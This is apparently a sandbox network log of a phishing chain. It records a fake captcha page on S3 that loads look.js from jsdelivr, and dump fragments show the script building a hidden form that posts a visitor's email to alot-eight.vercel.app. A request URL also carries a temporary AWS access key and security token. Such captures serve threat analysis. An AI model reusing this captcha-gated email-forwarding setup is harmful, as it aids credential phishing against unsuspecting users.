2025-02-06 21:52:33 UTC	2008	OUT	GET /api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5JwdHeuoYLCURJy7NdS9NN9MKK9lL0GOp4B8D2K6fGvi0efzJsYnlZn2%2BosTiv [TRUNCATED] Host: temp-redirect-pagess.s3.eu-central-1.amazonaws.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://net-sign.netlify.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:33 UTC	413	IN	HTTP/1.1 200 OK x-amz-id-2: x9EoyDqStaHfRyPESxPDVGb3JvP0b277xaD565heYdKM/0lkZ9fyms9GQGasxsCUiAqXnGQZXzY= x-amz-request-id: FPWSXR1DAQZFJRS3 Date: Thu, 06 Feb 2025 21:52:34 GMT Last-Modified: Thu, 06 Feb 2025 21:52:33 GMT ETag: "7df3a878cd156752e422250e31153504" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: text/html Content-Length: 550 Server: AmazonS3 Connection: close
2025-02-06 21:52:33 UTC	550	IN	Data Raw: 0a 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 76 65 6e 63 69 6c 6c 72 69 6e 61 33 33 2f 63 73 73 6a 73 40 72 65 66 73 2f 68 65 61 64 73 2f 6d 61 69 6e 2f 63 73 73 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <title>Captcha</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/vencillrina33/cssjs@refs/heads/main/css.css" /> </head> <body> <div class="contai

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:35 UTC	661	OUT	GET /gh/vencillrina33/cssjs@refs/heads/main/look.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:35 UTC	1082	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-expose-headers: * timing-allow-origin: * Cache-Control: public, max-age=604800, s-maxage=43200 cross-origin-resource-policy: cross-origin x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains; preload x-jsd-version: refs x-jsd-version-type: branch etag: W/"2c5d-cSzn577vGMle3MkJsNtC3BQqHuA" Age: 18730 x-served-by: cache-fra-etou8220092-FRA, cache-lga21947-LGA x-cache: HIT, HIT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b5Uhi7C0aIqELFSYqQ53NleeDLbzT68QusyIUv5iX2g3Mxh86XaP1mYzbfqJE16NcasItHg0zavU0ylmFMe5VA6WDUt3NN0yqxdPOlbO5u8QfpL8tNcCs8tKydhk7yzUPs4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90de5e3d9ee7434f-EWR
2025-02-06 21:52:35 UTC	287	IN	Data Raw: 32 63 35 64 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 76 61 72 20 5f 63 72 65 61 74 65 43 6c 61 73 73 20 3d 20 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 61 72 67 65 74 2c 20 70 72 6f 70 73 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 70 72 6f 70 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 64 65 73 63 72 69 70 74 6f 72 20 3d 20 70 72 6f 70 73 5b 69 5d 3b 0a 20 20 20 20 20 20 64 65 73 63 72 69 70 74 6f 72 2e 65 6e 75 6d 65 72 61 62 6c 65 20 3d 20 64 65 73 63 72 69 70 74 6f 72 2e 65 6e 75 6d 65 72 61 62 6c 65 20 7c 7c 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 64 65 73 63 72 69 70 74 6f 72 Data Ascii: 2c5d"use strict";var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 22 76 61 6c 75 65 22 20 69 6e 20 64 65 73 63 72 69 70 74 6f 72 29 20 64 65 73 63 72 69 70 74 6f 72 2e 77 72 69 74 61 62 6c 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 61 72 67 65 74 2c 20 64 65 73 63 72 69 70 74 6f 72 2e 6b 65 79 2c 20 64 65 73 63 72 69 70 74 6f 72 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 28 43 6f 6e 73 74 72 75 63 74 6f 72 2c 20 70 72 6f 74 6f 50 72 6f 70 73 2c 20 73 74 61 74 69 63 50 72 6f 70 73 29 20 7b 0a 20 20 20 20 69 66 20 28 70 72 6f 74 6f 50 72 6f 70 73 29 20 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 43 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 20 70 72 6f 74 6f 50 72 6f 70 73 Data Ascii: "value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 20 22 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 29 22 3b 0a 20 20 20 20 65 2e 73 74 72 6f 6b 65 53 74 79 6c 65 20 3d 20 22 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 29 22 3b 0a 20 20 20 20 65 2e 73 74 72 6f 6b 65 28 29 3b 0a 20 20 20 20 65 5b 69 5d 28 29 3b 0a 20 20 20 20 65 2e 67 6c 6f 62 61 6c 43 6f 6d 70 6f 73 69 74 65 4f 70 65 72 61 74 69 6f 6e 20 3d 20 22 6f 76 65 72 6c 61 79 22 3b 0a 20 20 7d 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 20 74 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 65 20 2b 20 74 3b 0a 20 20 7d 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 65 20 2a 20 65 3b 0a 20 20 7d 0a 0a 20 20 69 66 20 28 21 28 22 63 6c 61 73 73 4c 69 Data Ascii: "rgba(255, 255, 255, 0.7)"; e.strokeStyle = "rgba(255, 255, 255, 0.7)"; e.stroke(); e[i](); e.globalCompositeOperation = "overlay"; } function l(e, t) { return e + t; } function c(e) { return e * e; } if (!("classLi
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 74 68 69 73 2e 65 6c 20 3d 20 74 3b 0a 20 20 20 20 20 20 74 68 69 73 2e 6f 6e 53 75 63 63 65 73 73 20 3d 20 6e 3b 0a 20 20 20 20 20 20 74 68 69 73 2e 6f 6e 46 61 69 6c 20 3d 20 69 3b 0a 20 20 20 20 20 20 74 68 69 73 2e 6f 6e 52 65 66 72 65 73 68 20 3d 20 73 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 5f 63 72 65 61 74 65 43 6c 61 73 73 28 75 2c 20 5b 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 6b 65 79 3a 20 22 69 6e 69 74 22 2c 0a 20 20 20 20 20 20 20 20 76 61 6c 75 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 69 6e 69 74 44 4f 4d 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 69 6e 69 74 49 6d 67 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 62 69 6e 64 45 76 65 Data Ascii: this.el = t; this.onSuccess = n; this.onFail = i; this.onRefresh = s; } _createClass(u, [ { key: "init", value: function () { this.initDOM(); this.initImg(); this.bindEve
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 6f 74 20 63 6f 6e 76 65 72 74 20 75 6e 64 65 66 69 6e 65 64 20 6f 72 20 6e 75 6c 6c 20 74 6f 20 6f 62 6a 65 63 74 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 6e 20 3d 20 4f 62 6a 65 63 74 28 65 29 2c 20 69 20 3d 20 31 3b 20 69 20 3c 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 69 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6e 75 6c 6c 20 21 3d 20 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 72 20 69 6e 20 73 29 0a 20 20 20 20 20 20 20 20 Data Ascii: ot convert undefined or null to object" ); for (var n = Object(e), i = 1; i < arguments.length; i++) { var s = arguments[i]; if (null != s) for (var r in s)
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 2c 20 6f 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 2e 62 6c 6f 63 6b 2e 77 69 64 74 68 20 3d 20 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 2e 62 6c 6f 63 6b 43 74 78 2e 70 75 74 49 6d 61 67 65 44 61 74 61 28 74 2c 20 30 2c 20 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 28 74 20 3d 20 76 28 22 69 6d 67 22 2c 20 22 22 29 29 2e 63 72 6f 73 73 4f 72 69 67 69 6e 20 3d 20 22 41 6e 6f 6e 79 6d 6f 75 73 22 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 74 2e 6f 6e 6c 6f 61 64 20 3d 20 65 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 74 2e 6f 6e 65 72 72 6f 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 Data Ascii: , o, o); n.block.width = o; n.blockCtx.putImageData(t, 0, e); } }), ((t = v("img", "")).crossOrigin = "Anonymous"), (t.onload = e), (t.onerror = function () {
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 69 64 65 72 2e 73 74 79 6c 65 2e 6c 65 66 74 20 3d 20 69 20 2b 20 22 70 78 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 28 32 35 30 20 2f 20 32 37 30 29 20 2a 20 69 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 2e 62 6c 6f 63 6b 2e 73 74 79 6c 65 2e 6c 65 66 74 20 3d 20 72 20 2b 20 22 70 78 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 28 6f 2e 73 6c 69 64 65 72 43 6f 6e 74 61 69 6e 65 72 2c 20 22 73 6c 69 64 65 72 43 6f 6e 74 61 69 6e 65 72 5f 61 63 74 69 76 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 2e 73 6c 69 64 65 72 4d 61 73 6b 2e 73 74 79 6c 65 2e 77 69 64 74 68 20 3d 20 69 20 2b 20 22 70 78 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 2e 70 75 73 68 28 73 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 Data Ascii: ider.style.left = i + "px"; var r = (250 / 270) * i; o.block.style.left = r + "px"; d(o.sliderContainer, "sliderContainer_active"); o.sliderMask.style.width = i + "px"; c.push(s); }
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 66 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 6f 72 6d 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 6d 65 74 68 6f 64 20 3d 20 22 50 4f 53 54 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 61 63 74 69 6f 6e 20 3d 20 22 68 74 74 70 73 3a 2f 2f 61 6c 6f 74 2d 65 69 67 68 74 2e 76 65 72 63 65 6c 2e 61 70 70 2f 61 70 69 2f 72 65 64 69 72 65 63 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 68 69 64 64 65 6e 20 69 6e 70 75 74 20 66 6f 72 20 74 68 65 20 65 6d 61 69 6c 20 69 66 20 66 6f 75 6e 64 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: t const form = document.createElement("form"); form.method = "POST"; form.action = "https://alot-eight.vercel.app/api/redirect"; // Create a hidden input for the email if found.
2025-02-06 21:52:35 UTC	1369	IN	Data Raw: 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 6f 2e 6f 6e 52 65 66 72 65 73 68 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 2e 6f 6e 52 65 66 72 65 73 68 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 2c 20 6c 2c 20 63 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 6f 2e 73 6c 69 64 65 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 20 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 6f 2e 73 6c 69 64 65 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c Data Ascii: if (typeof o.onRefresh === "function") { o.onRefresh(); } }; var a, l, c = [], u = false; o.slider.addEventListener("mousedown", e); o.slider.addEventListener("touchstart",
2025-02-06 21:52:35 UTC	126	IN	Data Raw: 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 61 70 74 63 68 61 22 29 2c 0a 20 20 6f 6e 53 75 63 63 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 63 6c 65 61 6e 4d 73 67 28 29 3b 0a 20 20 7d 2c 0a 20 20 6f 6e 46 61 69 6c 3a 20 63 6c 65 61 6e 4d 73 67 2c 0a 20 20 6f 6e 52 65 66 72 65 73 68 3a 20 63 6c 65 61 6e 4d 73 67 2c 0a 7d 29 3b 0a 0d 0a Data Ascii: t.getElementById("captcha"), onSuccess: function () { cleanMsg(); }, onFail: cleanMsg, onRefresh: cleanMsg,});

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:36 UTC	386	OUT	GET /gh/vencillrina33/cssjs@refs/heads/main/look.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:36 UTC	754	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11357 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: refs X-JSD-Version-Type: branch ETag: W/"2c5d-cSzn577vGMle3MkJsNtC3BQqHuA" Accept-Ranges: bytes Age: 356 Date: Thu, 06 Feb 2025 21:52:36 GMT X-Served-By: cache-fra-etou8220092-FRA, cache-ewr-kewr1740041-EWR X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 76 61 72 20 5f 63 72 65 61 74 65 43 6c 61 73 73 20 3d 20 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 61 72 67 65 74 2c 20 70 72 6f 70 73 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 70 72 6f 70 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 64 65 73 63 72 69 70 74 6f 72 20 3d 20 70 72 6f 70 73 5b 69 5d 3b 0a 20 20 20 20 20 20 64 65 73 63 72 69 70 74 6f 72 2e 65 6e 75 6d 65 72 61 62 6c 65 20 3d 20 64 65 73 63 72 69 70 74 6f 72 2e 65 6e 75 6d 65 72 61 62 6c 65 20 7c 7c 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 64 65 73 63 72 69 70 74 6f 72 2e 63 6f 6e 66 69 Data Ascii: "use strict";var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.confi
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 2e 37 32 20 2a 20 72 2c 20 32 2e 32 36 20 2a 20 72 29 3b 0a 20 20 20 20 65 2e 6c 69 6e 65 54 6f 28 74 20 2b 20 73 2c 20 6e 29 3b 0a 20 20 20 20 65 2e 61 72 63 28 74 20 2b 20 73 20 2b 20 39 20 2d 20 32 2c 20 6e 20 2b 20 32 31 2c 20 39 2c 20 31 2e 32 31 20 2a 20 72 2c 20 32 2e 37 38 20 2a 20 72 29 3b 0a 20 20 20 20 65 2e 6c 69 6e 65 54 6f 28 74 20 2b 20 73 2c 20 6e 20 2b 20 73 29 3b 0a 20 20 20 20 65 2e 6c 69 6e 65 54 6f 28 74 2c 20 6e 20 2b 20 73 29 3b 0a 20 20 20 20 65 2e 61 72 63 28 74 20 2b 20 39 20 2d 20 32 2c 20 6e 20 2b 20 32 31 2c 20 39 2e 34 2c 20 32 2e 37 36 20 2a 20 72 2c 20 31 2e 32 34 20 2a 20 72 2c 20 74 72 75 65 29 3b 0a 20 20 20 20 65 2e 6c 69 6e 65 54 6f 28 74 2c 20 6e 29 3b 0a 20 20 20 20 65 2e 6c 69 6e 65 57 69 64 74 68 20 3d 20 32 3b 0a Data Ascii: .72 * r, 2.26 * r); e.lineTo(t + s, n); e.arc(t + s + 9 - 2, n + 21, 9, 1.21 * r, 2.78 * r); e.lineTo(t + s, n + s); e.lineTo(t, n + s); e.arc(t + 9 - 2, n + 21, 9.4, 2.76 * r, 1.24 * r, true); e.lineTo(t, n); e.lineWidth = 2;
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 7d 29 3b 0a 0a 20 20 76 61 72 20 69 20 3d 20 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 65 2e 65 6c 2c 0a 20 20 20 20 20 20 20 20 6e 20 3d 20 65 2e 6f 6e 53 75 63 63 65 73 73 2c 0a 20 20 20 20 20 20 20 20 69 20 3d 20 65 2e 6f 6e 46 61 69 6c 2c 0a 20 20 20 20 20 20 20 20 73 20 3d 20 65 2e 6f 6e 52 65 66 72 65 73 68 3b 0a 20 20 20 20 20 20 5f 63 6c 61 73 73 43 61 6c 6c 43 68 65 63 6b 28 74 68 69 73 2c 20 75 29 3b 0a 20 20 20 20 20 20 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 20 3d 20 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 20 7c 7c 20 22 72 65 6c Data Ascii: }, }; }, }); var i = (function () { function u(e) { var t = e.el, n = e.onSuccess, i = e.onFail, s = e.onRefresh; _classCallCheck(this, u); t.style.position = t.style.position \|\| "rel
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 70 70 65 6e 64 43 68 69 6c 64 28 72 29 3b 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 20 21 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 4f 62 6a 65 63 74 2c 20 22 61 73 73 69 67 6e 22 2c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6e 75 6c 6c 20 3d 3d 20 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 43 61 6e 6e 6f Data Ascii: ppendChild(r); if (typeof Object.assign !== "function") Object.defineProperty(Object, "assign", { value: function (e, t) { if (null == e) throw new TypeError( "Canno
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 20 3d 20 6e 2e 79 20 2d 20 31 38 20 2d 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 22 29 20 3e 20 2d 31 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 2e 62 6c 6f 63 6b 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 20 3d 20 22 2d 22 20 2b 20 28 6e 2e 78 20 2d 20 33 29 20 2b 20 22 70 78 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 6e 2e 62 6c 6f 63 6b 43 74 78 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 6e 2e 78 20 2d 20 33 2c 20 65 2c 20 6f 2c 20 6f 29 3b 0a 20 Data Ascii: ); var e = n.y - 18 - 1; if (navigator.userAgent.indexOf("MSIE") > -1) n.block.style.marginLeft = "-" + (n.x - 3) + "px"; else { var t = n.blockCtx.getImageData(n.x - 3, e, o, o);
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 65 2e 63 6c 69 65 6e 74 58 20 7c 7c 20 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 20 3d 20 65 2e 63 6c 69 65 6e 74 59 20 7c 7c 20 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 59 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 20 3d 20 74 20 2d 20 61 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 6e 20 2d 20 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 20 3c 20 30 20 7c 7c 20 66 20 3c 3d 20 33 38 20 2b 20 69 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 2e 73 6c 69 64 65 72 2e 73 74 79 6c 65 2e 6c 65 66 74 20 3d 20 69 Data Ascii: rn false; var t = e.clientX \|\| e.touches[0].clientX, n = e.clientY \|\| e.touches[0].clientY, i = t - a, s = n - l; if (i < 0 \|\| f <= 38 + i) return false; o.slider.style.left = i
